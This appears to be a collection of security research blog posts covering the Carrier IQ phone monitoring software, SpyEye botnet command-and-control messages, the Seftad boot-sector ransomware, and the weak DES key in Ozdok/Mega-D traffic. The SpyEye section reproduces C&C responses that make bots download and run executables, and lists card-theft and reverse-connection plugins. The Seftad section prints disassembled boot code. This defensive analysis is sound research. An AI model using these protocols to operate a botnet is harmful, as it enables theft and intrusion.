Q1- The basics. What is Carrier IQ?

CarrierIQ is a controversial piece of code which was intentionally placed on several mobile phones by their vendors or carriers.
It has the capability of monitoring and/or collecting various information – without user’s consent.

Q2- What is Carrier IQ exactly doing?

Precisely, CarrierIQ (CIQ) has developed a series of hooks to monitor plenty of metrics such as:

• HT01: HTTP request URI
• AL15: browser’s URL
• MG01: SMS recipient and SMS center
• MG03: SMS originator
• MG11: MMS version, sender, recipient and relay URL
• HW10: min and maximum battery voltage, capacity, model
• HW11: battery’s voltage and temperature
• LC18: altitude, latitude, longitude, uncertainty, velocity…

See for instance the MG11 metric below:

 

A broader view of available metrics is available here and here.

Then, OEMs and carriers pick up which metrics they are interested in, and integrate it to the phone. The data goes to remote portals which are controlled by the OEMs or carriers.

Interesting to read: Dan Rosenberg, “Carrier IQ: the Real Story”

 

Q3- So in spite of what their executives are claiming, CarrierIQ “logs” my personal data?

The short answer is yes, it does: Some of your actions on your phone are being silently reported to a third-party without your knowledge, and this is what we call logging.

Now indeed, it is true that CIQ may not log all our actions, and that it does not do so for itself: indeed,  although it constantly monitors everything, some actions may not be reported (and thus, simply dropped) to the carrier and/or vendor, depending on which metrics (see Q2 above) the latter cared to enable. As of this writing, we do not know which vendors/carriers enable which metrics.

Q4- Does it hamper my phone’s security?

In short: yes. But if you have time for more details, read the reasons below.

1. CIQ is no more no less than a rootkit – even if it was (perhaps) designed for benign usage. Like rootkits, CIQ’s service runs as root on the phone. Like rootkits, CIQ hooks basic functionalities on the phone (keys pressed, opened applications, SMS received etc). Finally, like rootkits, CIQ tries to hide itself, and as a matter of fact, end-users weren’t aware of its existence. CIQ does not display any application icon, it is not listed in installed application, and does not come with any policy.
2. As Trevor Eckart’s video shows, each time we press a key, this is shown as a new line of Android’s logcat. Logcat is a system feature – it does not belong to CIQ – which is the first reason CIQ argues it does not log anything. True. But if someone has access to logcat, he/she can still monitor all our actions – which is a threat to your privacy and confidentiality.
3. Moreover, actually, there is a log file: Carrier IQ has still admitted keeping a temporary log, and there are no details of how that temporary file is secure. The answer “it’s not readable if you don’t have our tools” does not sound good to me. It sounds like some hand-made obfuscation or crypto, and over years, this has never proven to be secure.

Interesting to read: Trevor Eckart, What is Carrier IQ?.

Q5- Do I have CIQ on my phone?

Carrier IQ has been found on several Android phones, but it actually also exists on other platforms, such as iPhone.

Fortinet detects it as Riskware/CarrierIQ!Android.

Alternatively, you may install an application to check if your phone has CIQ or not. There are Android apps for that, such as Lookout’s Carrier IQ Detector or Project Voodo (not tried).

If you are a phone geek, you can do this manually by searching for one of the following files:

/system/app/com.htc.android.iqagent.apk
/system/app/com.carrieriq.tmobile.apk
/system/app/com.carrieriq.iqagent.apk
/system/app/com.carrieriq.attrom.apk
/system/app/HtcLoggers.apk
/system/app/HTCIQAgent.apk
/system/bin/iqfd
/system/bin/iqd
/system/lib/libciq_client.so
/system/lib/libciq_htc.so
/system/lib/libhtciqagent.so
/system/etc/iqprofile.pro

Interesting to read: Trevor Eckart, [DEV|APPv7] CIQ / HTC & Google Checkin / HTC loggers / Tell HTC Info & Removal

Q6- How to get rid of Carrier IQ?

Unfortunately, it is difficult to get rid of CIQ because it has been built directly into the OS of the device, or packaged in the OEM’s/carrier’s ROM.

Consequently, you need to first root the phone and then

1. either you flash the ROM with a custom ROM that does not contain Carrier IQ.
2. or you use Trevor Eckart’s tool (1 USD)
3. or you try the Remove CIQ script, that removes CIQ files on the phone.

We haven’t tried any of these, so beware.

UPDATE Dec 16, 2001:

CarrierIQ does not leak SMS bodies in the general case. Actually, CIQ leaks the SMS in some cases only because of a design level bug: if CIQ is capturing GSM network traffic, at at the same time the phone receives a SMS, of course, the contents of the SMS will be included in the network capture…

– the Crypto Girl

In the past month changes in the SpyEye botnet kit have more or less stopped, after a very busy year in which many new versions were released. I was recently looking at all of the information I have from testing and analysis of these versions, when it occured to me that this lull in activity would be a good time to put some organized results together. Then when SpyEye returns, in some mutant, Zbot like form, we will have something like a guide to its workings, which should be useful.

A good place to start this process is with the SpyEye botnet messages. Network messages can be a quick way to recognize a botnet, even when no sample is available yet. They can also provide a dynamic view of the botnet in action, revealing its structure, growth and activities.

When a SpyEye bot running on an infected computer starts up, it immediately sends a message to check in with its Command & Control server. This first message contains some basic information about the bot infector and the computer it is running on. Here is an example, with the parameters highlighted.

http://(server)/gate.php?guid=uname!cname!1A2B3C4D&ver=10260&stat=ONLINE&ie=6.0.2900.2180&os=5.1.2600&ut=Admin&cpu=100&ccrc=90A01B2D&md5=0516cb89185fee8bee81a15d2859c870

Let’s take a closer look at each of the parameters sent to the C&C server in this message.

guid=uname!cname!1A2B3C4D
The guid is a unique identifier for the bot. It is made up of the current user name, the computer name and a numeric identifier.

ver=10260
This is the version of the bot infector that is currently running on the infected computer. The SpyEye version numbers in my message collection range from 10060 (1.0.60) to 10299 (1.2.99). In this range 43 version numbers have been seen in use, all in less than a year. The most commonly seen version numbers, and probably the most popular builds, are 10070, 10280 and 10299. There have been some recent attempts to sell 103xx and 104xx versions, but most of these are obvious fakes. There is an emerging 10305 version appears to be genuine.

stat=ONLINE
The functional status of the bot. In most messages the bots send stat=ONLINE. If a bot is not online no message can be sent, so there is no need for an offline status message. If the loader has just been used to put a file on the bot, the status will be either LOAD-COMPLETE or LOAD-ERROR, depending on the result.

ie=6.0.2900.2180
The version of Internet Explorer on the infected computer.

os=5.1.2600
The version of Microsoft Windows operating system on the infected computer.

ut=Admin
This is the user type of the current user on the infected computer. The possible values are User and Admin.

cpu=100
The cpu load on the infected computer, as a percentage.

ccrc=90A01B2D
This is a CRC32 taken from the last four bytes of the bot config file currently on the infected computer. The ccrc is used to determine if a config update is needed.

md5=0516cb89185fee8bee81a15d2859c870
This is the md5 of the bot infector that currently is on the computer. The C&C server software compares this to the latest md5 in its update table to decide if an update is needed. This parameter was introduced somewhere between versions 10070 and 10082.

After sending the initial message, the bot continues to regularly send check in messages every five minutes. These messages are the same as the first one, except that the ie, os and ut parameters are not included.

http://(server)/gate.php?guid=uname!cname!1A2B3C4D&ver=10260&stat=ONLINE&cpu=0&ccrc=90A01B2D&md5=0516cb89185fee8bee81a15d2859c870

If there are plugins included in the infection, the check in messages will have the plg parameter, along with the names of the plugins.  Here is a list of some popular plugins.

billinghammer     Charges credit cards using stolen card data.
bugreport         Returns SpyEye debugging information.
ccgrabber         Collects credit card information from the bots.
ffcertgrabber     Collects certificate information from the bots.
ftpbc             Allows reverse ftp connections to the bot.
socks5            Allows reverse connections through a proxy server.

It is not possible to give an exact or complete plugin list because the names can be changed, and it looks like there are some fakes circulating. In the next sample message the bot reports that is has two plugins, bugreport and billinghammer.

http://(server)/gate.php?guid=dmacdonald!VB4!361C13E2&ver=10260&stat=ONLINE&plg=bugreport;billinghammer&cpu=0&ccrc=90A01B2D&md5=0516cb89185fee8bee81a15d2859c870

The C&C server responds to this message with status control information, which is used to set  the state of the plugins. In this example, both plugins are being kept in the inactive state by setting the control codes to zero.

HTTP/1.1 200 OK (text/html)
PLUGIN<br>billinghammer;0<br>bugreport;0<br>

As an example, if the bugreport plugin is to be activated, the botnet operator uses the C&C Control Panel to change the setting. The image below shows how this is done.

The next time the bot checks in, the status code for bugreport in the reponse message will have been changed from zero to one. This tells the bot to activate the plugin, causing it to begin doing whatever it does. The new status code continues to be sent in response to each subsequent check in, until the bot goes offline or the plugin is deactivated from the Control Panel.

HTTP/1.1 200 OK (text/html)
PLUGIN<br>billinghammer;0<br>bugreport;1<br>

Soon the time will come to update the bot executable, either because Anti-Virus scanners detect the old build, or because a new version has become available. To do an update, the botnet operator goes to the Control Panel and uses the Update Bot subpanel to upload the new file.  The md5 of the sample is put into the update_bot table, and each time a check in message arrives from a bot, this md5 is compared to the one in the message. If they differ, an UPDATE command is included in the C&C response message. An example of the check in message and response can be seen below, with the old md5 highlighted.

http://(server)/gate.php?guid=uname!cname!1A2B3C4D&ver=10260&stat=ONLINE&plg=bugreport;billinghammer&cpu=0&ccrc=90A01B2D&md5=0516cb89185fee8bee81a15d2859c870

HTTP/1.1 200 OK (text/html)
UPDATE<br>PATH=http://(server)/bin/build___.exe

When this command is received, the bot downloads the new build from the location given and installs it. The next check in message to be sent shows the change in the md5 (highlighted below). If the new md5 matches the one in the update_bot table, the update was successful.

http://(server)/gate.php?guid=uname!cname!1A2B3C4D&ver=10260&stat=ONLINE&cpu=5&ccrc=7CF6CDB7&md5=705db7f1d97be9cfd4991378648ea7a2

The configuration file (config.bin) can also be updated, in a similar manner. This would be done when a server address changes, or to update or add plugins, which are delivered in the config file. The bot message format includes a parameter called ccrc, which is a crc32 taken from the last four bytes of the config.bin file, in reverse order. The file is compressed and these bytes are part of the compression information. If this value differs from the ccrc of the config.bin stored on the C&C server, an UPDATE_CONFIG command is issued, causing a new config.bin to be downloaded and installed. The check in and response messages can be seen below, followed by the next check in message, where the change in the ccrc can be seen.

http://(server)/gate.php?guid=dmacdonald!VB4!361C13E2&ver=10260&stat=ONLINE&cpu=0&ccrc=7CF6CDB7&md5=705db7f1d97be9cfd4991378648ea7a2

HTTP/1.1 200 OK (text/html)
UPDATE_CONFIG<br>PATH=http://(server)/bin/config.bin

http://(server)/gate.php?guid=dmacdonald!VB4!361C13E2&ver=10260&stat=ONLINE&cpu=2&ccrc=90A01B2D&md5=705db7f1d97be9cfd4991378648ea7a2

The botnet Control Panel software also provides the ability to load and execute programs on the bot infected machine. Once a loader task has been set up, a LOAD command is sent as part of the response to the next bot check in.

HTTP/1.1 200 OK (text/html)
LOAD<br>http://(server)/bin/upload/calc.exe<br>121

Unlike the update functions, the loader has no crc or md5 to check the success of a download, so it relies on an error reporting system. The number 121, at the end of the LOAD command above, is a task ID used to report success or failure. It is included as tid=121 in the next bot check in message, where it serves to identify the task being reported on.

http://(server)/gate.php?guid=uname!cname!1A2B3C4D&ver=10260&stat=LOAD-COMPLETE&tid=121&rep=TASK%20IS%20OK&cpu=36&ccrc=7CF6CDB7&md5=705db7f1d97be9cfd4991378648ea7a2

Here the load was successful. This is confirmed by the status being set to stat=LOAD-COMPLETE, and by the text report, rep=TASK IS OK. If the LOAD command fails, the status is reported as stat=LOAD-ERROR, with a more detailed error message in the text report. Of course this system does not protect against file corruption.

http://(server)/gate.php?guid=dmacdonald!VB4!361C13E2&ver=10260&stat=LOAD-ERROR&tid=121&rep=[ERROR]%20:%20Cannot%20create%20thread.%200o%20:%20dwErr%20==%201455&cpu=1&ccrc=7CF6CDB7&md5=705db7f1d97be9cfd4991

There are several other error messages that can be sent by the bot. The list of error message format strings from the bot can be seen below.

[ERROR] : CreateProcess(“%s”, …, “%s”) fails : dwFileSize == 0x%08X; dwCrc32 == 0x%08X : dwErr == %d
[ERROR] : DumpPage(“%s”, “%s”) fails : dwErr == %d
[ERROR] : Empty szLink? : dwErr == %d
[ERROR] : Empty data? : dwErr == %d
[ERROR] : Empty report. Unknown error : dwErr == %d
[ERROR] : Thread is really sloppy : dwErr == %d
[ERROR] : Cannot create thread. 0o : dwErr == %d

For quick reference, here is a brief summary of the parameters that may appear in check in messages sent from the bot to the C&C. They are listed in their order of appearance, which is always the same.

guid   Unique ID of a bot infected computer.
ver    Bot infector version number.
stat   Current bot status.
tid    Program loader task ID number.
rep    Program loader result, text report.
ie     Internet Explorer version.
os     Microsoft Windows version.
ut     User type of the current user.
plg    List of plugins currently installed.
cpu    Percent cpu load.
ccrc   Config crc32, to check if update needed.
md5    Md5 of bot exe, to check if update needed.

This is not really the end of the story, some of the plugins also generate messages as they do their work. But at least we have enough information here to recognize and interpret the most important messages, the ones passed between the bot and the C&C server.

The W32/Seftad RansomWare has been spreading for a few days now, locking infected computers and trying to extort money for a recovery password. The infection is easily recognized by the text message below, which is displayed when the computer starts up, or rather fails to start.

Your PC is blocked.
All the hard drives were encrypted.
Browse www.safe-data.ru to get an access to your system and files.
Any attempt to restore the drives using other way will
lead to inevitable data loss !!!
Please remember Your ID: 773923,
with its help your sign-on password will be generated.
Enter password:

But they lie, the hard disk is not encrypted, only a few sectors have been changed. This table shows the changes to the disk sectors. Also shown are the memory addresses where they are loaded to memory by the malware.

Infected Drive   Disk Address   Memory Address   Sector Contents
  Sector 1         0x000          0x7C00           Malware boot sector
  Sector 2         0x200          0x7C00           Malware code
  Sector 3         0x400          0x7E00           Text strings & CRC
  Sector 4         0x600          -                -
  Sector 5         0x800          0x7E00           Original boot sector

Hard drive sector 1 normally contains the Master Boot Record (MBR), with the partition table and the boot code needed to start the operating system. It has been copied to sector 5 with two bytes changed. Sector 1 now contains the malware boot code, with no partition table.

When the computer starts, the malware boot code from sector 1 is loaded and executed. It reads sectors 2 and 3 into memory at address 0000:7c00. The malware then checks whether a certain ID number is present at the start of sector 2 and the end of sector 3. The ID number check code can be used to confirm the identity of the malware boot sector.

1000:002b   cmp   dword ptr [bx+02h], 636d6a68h ; code start marker
1000:0033   jnz   loc_0000004b                  ; marker not found
1000:0035   add   bx, 3fch                      ; location of code end marker
1000:0039   cmp   dword ptr [bx], 636d6a68h     ; code end marker
1000:0040   jnz   loc_0000004b                  ; marker not found

(The addresses in the listings are disk based addresses, conversion to memory addresses is shown where necessary.)

At this point the code loaded from sector 2 is executed, and the routine that reads in the password starts. Up to 16 characters can be keyed in, and when the Enter key is pressed processing begins. The first step is to pad the password with spaces so that the length is always 16 characters.

1000:027d   mov   al, 20h                       ; " " text space
1000:027f   cmp   di, 10h                       ; if di <16 carry set
1000:0282   jnc   loc_00000289                  ; if we have 16 chars jump
1000:0284   mov   [bx+di], al                   ; add a space " "
1000:0286   inc   di                            ; increase char count
1000:0287   jmp   27fh                          ; check again if 16 chars

Next each of the 16 password characters is sent to a CRC generator. The resulting CRC will be used to check the whether the password is correct.

1000:0289  mov  cl, 10h                         ; cl = 16, chars in password
1000:028b  xor  dx, dx                          ; dx = 0x00, CRC goes here
1000:028d  mov  si, 7e7ah                       ; password buffer (disk 047a)
1000:0290  cld                                  ; clear direction flag
1000:0291  lodsb                                ; load pwd char to al, si++
1000:0292  call loc_00000368                    ; call the CRC16 generator
1000:0295  dec  cl                              ; cl--  update character count
1000:0297  jnz  291h                            ; loop to load next character

There are many different CRC16 alogorithms. The one used is the xmodem version, not the most common or the best, but it will work for this task. The core of the CRC generator is shown below.

1000:036a  mov  ah, al                          ; move password char to ah
1000:036c  xor  al, al                          ; zero al
1000:036e  xor  dx, ax                          ; dx=crc, 0x00 on first pass
1000:0370  mov  cl, 08h                         ; set cl for 8 bits
1000:0372  shl  dx, 1h                          ; shift left 1 bit
1000:0374  jnc  37ah                            ; if top bit was 0 jump
1000:0376  xor  dx, 1021h                       ; CRC polynomial = 0x1021
1000:037a  dec  cl                              ; cl--
1000:037c  jnz  372h                            ; loop until cl=0

Once the password CRC has been calculated, it is checked against the reference CRC at memory location 0000:7ffa, where it was loaded from disk sector 3.

1000:0299  cmp  dx, [7ffah]                     ; password CRC loc (crc=0x24e0)
1000:029d  jz  loc_000002b2                     ; if equal

The CRC value 0x24E0, located at memory address 0000:7ffa, can be found at at disk location 0x7ffa – 0x7c00 + 0×200 = 0x05fa, shown in the hex dump below. Any password with this CRC will work.

Disk:05F0  Mem:7FFA   00 00 00 00 00 00 00 00  00 00 E0 24 68 6A 6D 63  ..........à$hjmc

When an incorrect password is entered, the words “Wrong password” are displayed, with “Enter password:” appearing again below. After three tries the computer reboots and the process starts again. Rebooting here is probably just a simple way to clear the display.

When a correct password has been entered, the process of restoring the computer begins. First the original boot sector is loaded into memory, from disk sector 5.

1000:02b2  mov  bx, 7e00h                       ; buffer
1000:02b5  mov  cx, 05h                         ; track=0 sector=5
1000:02b8  mov  dx, 80h                         ; head=0 drive=hard disk
1000:02bb  mov  ax, 201h                        ; read disk sectors, 1 sector
1000:02be  int  13h                             ; read disk
1000:02c0  jnc  loc_000002ca                    ; jump if read was ok

When the original boot sector was saved, the last two bytes were changed to “be af”. These are now checked, and if they are wrong the message “Data corrupted” is displayed.

Disk:09F0  Mem:7FF0   00 00 00 00 00 00 00 00  00 00 00 00 00 00 BE AF  ..............¾¯

1000:02ca  mov  di, 7ffeh                       ; (disk 09fe)
1000:02cd  cmp  word ptr [di], 0afbeh           ; check value
1000:02d1  jz  loc_000002db                     ; if ok jump

If the bytes are as expected, they are changed back to their original value, “55 aa”, which is the Boot Record Signature. If the BIOS does not see these bytes it will not boot.

1000:02db  mov  dx, 0aa55h                      ; boot record signature
1000:02de  mov  word ptr [di], dx               ; write to mem, di=7ffe

The repaired boot sector is now written to sector 1, so that the computer becomes bootable again.

1000:02e0  mov  cx, 01h                         ; write to sector 1
1000:02e3  mov  dx, 80h                         ; head=0 drive=hard disk
1000:02e6  mov  ax, 301h                        ; write disk sectors, 1 sector
1000:02e9  int  13h                             ; write to disk
1000:02eb  jnc  loc_000002f5                    ; jump if ok, to "clean up disk"

Finally a buffer is filled with nulls and written to disk sectors 2, 3 and 5, so that all traces of the infection are removed, and the computer is rebooted. Of course if any of these sectors was being used by some system level software, like a disk or boot utility, whatever data they contained is lost and the password will not restore the computer to its original state.

The best way to cure this infection is to use a suitable disk repair utility. If this fails then hopefully the information presented here will help with manual repair. In any case it is important to remember that even when the computer boots successfully, it will still be infected with the malware that started this, and needs to be cleaned.

Additional information about this malware can be found in Fortinet researcher Patrick Yu’s All your drives are belong to us.

When analyzing a new botnet, I tend to focus heavily on the network messages. After all, they are the glue that holds the botnet together. So one of the first things I did, when working on our new analysis of the Ozdok/Mega-D botnet, was to look at the messages and discover that they were encrypted. Of course this is not unusual, and after deciding the encryption was not something simple, I went to the bot code to see what was being used.

It soon developed that the encryption used was DES (Data Encryption Standard), in ECB mode. The cryptographic functions used are in the Microsoft Windows standard ADVAPI32 library. Clearly this should not be vulnerable to cryptanalysis or a brute force attack, not in the time available for anti-virus scanning. It was easy to find the key, which can be seen in the disassembled code below.

00408DE4    C645 EC 61     MOV BYTE PTR SS:[EBP-14],61        ; key ‘a’
00408DE8    C645 ED 62     MOV BYTE PTR SS:[EBP-13],62        ; ‘b’
00408DEC    C645 EE 63     MOV BYTE PTR SS:[EBP-12],63        ; ‘c’
00408DF0    C645 EF 64     MOV BYTE PTR SS:[EBP-11],64        ; ‘d’
00408DF4    C645 F0 65     MOV BYTE PTR SS:[EBP-10],65        ; ‘e’
00408DF8    C645 F1 66     MOV BYTE PTR SS:[EBP-F],66         ; ‘f’
00408DFC    C645 F2 67     MOV BYTE PTR SS:[EBP-E],67         ; ‘g’
00408E00    C645 F3 68     MOV BYTE PTR SS:[EBP-D],68         ; ‘h’

So the key was “abcdefgh”, really nothing more than a lower case text password. Maybe the botnet herder was not too worried about security and expected to change the key frequently, but this did seem a little weak.

This made me wonder how weak this key really is. The only practical approach would be a brute force attack, where we try all the keys to see which one works. The DES key is 56 bits long, meaning there are 2**56 possible keys (2 to the 56th power), or in decimal numbers 2**56 = 72,057,594,037,927,935, that is 72 million billion keys.

But if only lower case letters are used, as they are in the bot, the number of keys to try is only 26**8 = 208,827,064,576. And it gets worse. DES only uses 56 bits for the key, and the 8 letters have 8 x 8 = 64 bits, so there are 8 bits too many. The official way to fix this is to drop the lowest bit from each letter, so that “b” (01100010) and “c” (01100011) both become 01100010. This means if we try “b”, we don’t need to try “c” because it is the same. The key “abcdefgh” is the same as “abbddffg“, and the real number of lower case letter keys to try is 14**8 = 1,475,789,056. Not impossible millions of billions, but just a billion and a half.

How much time would it take to search that many keys? One way to get a rough idea is to decrypt a large file and see how long it takes. A 800,000,000 byte file has 100,000,000 eight byte blocks, and takes that many DES operations to decrypt. This should give some idea of the time needed to test 100,000,000 keys. Running this test with mcrypt on an Intel Core2 Quad Q8400 (R) at 2.66 ghz, results in a decryption time of less than 70 seconds, about 1.4 million keys per second. For 1,475,789,056 keys that would be 1033 seconds or about 17 minutes.

If digits and lower case letters are allowed, there are 19**8 = 16,983,563,041 keys, and the search time would be 11,888 seconds or 198 minutes. Include upper case letters and there are 33**8 = 1,406,408,618,241 keys, and the time goes up to 984,486 seconds or 273 hours. To search all of the 72,057,594,037,927,935 possible keys at this rate would require 50,440,315,827 seconds, or about 1599 years.

The search times would certainly be far shorter with software written specially for this purpose and a more powerful computer. Even better times could be achieved with a hardware DES processor, especially if several were run in parallel. In the test 1.4 million decryptions were done per second, but some dedicated chips claim to process as many as 30 million DES decryptions per second.

So for the lower case letter key found in Ozdok, we are almost at the point where the key can be searched quickly enough for antivirus purposes. For keys with a wider range of values the times become too great, at least for the present time.

Part of the problem here derives from a basic weakness in the setting of encryption keys. Users typically will be asked to enter the key, so it can only include ordinary text bytes. The range of key values is seriously limited by this. DES aggravates the problem by folding text characters together, further reducing the real world key space. It is possible to process the password into a better key, but that does not help much if the algorithm used for this is known, and normally it cannot be kept secret. One practical way to reduce the problem is to employ an encryption system with a longer key, but only a fraction of the larger key space will be used.

In any case we can certainly learn something from these calculations. Keys and passwords with a limited range of characters are not just unsafe, they can actually compromise an otherwise secure system.

To find out more about the Ozdok/Mega-D botnet and its hidden messages, take a look at the new analysis.